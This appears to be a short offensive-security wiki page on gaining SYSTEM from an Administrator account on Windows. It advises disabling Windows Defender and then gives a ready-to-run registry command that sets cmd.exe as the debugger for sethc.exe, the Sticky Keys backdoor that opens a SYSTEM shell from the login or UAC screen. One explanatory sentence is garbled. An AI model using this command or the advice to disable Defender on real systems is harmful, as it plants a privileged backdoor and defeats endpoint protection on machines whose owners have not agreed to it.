Elevate to SYSTEM from Administrator

Of course PSExec is always an option but what about natively? You can add a debugger trap to any accessibility executable then while running under the "Secure Desktop" aka being prompted by UAC activity the acessibility exe. Originally found here: https://stackoverflow.com/a/30543362

Defender will block the addition of these registrys so make sure to disable it first...

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

Last updated

Was this helpful?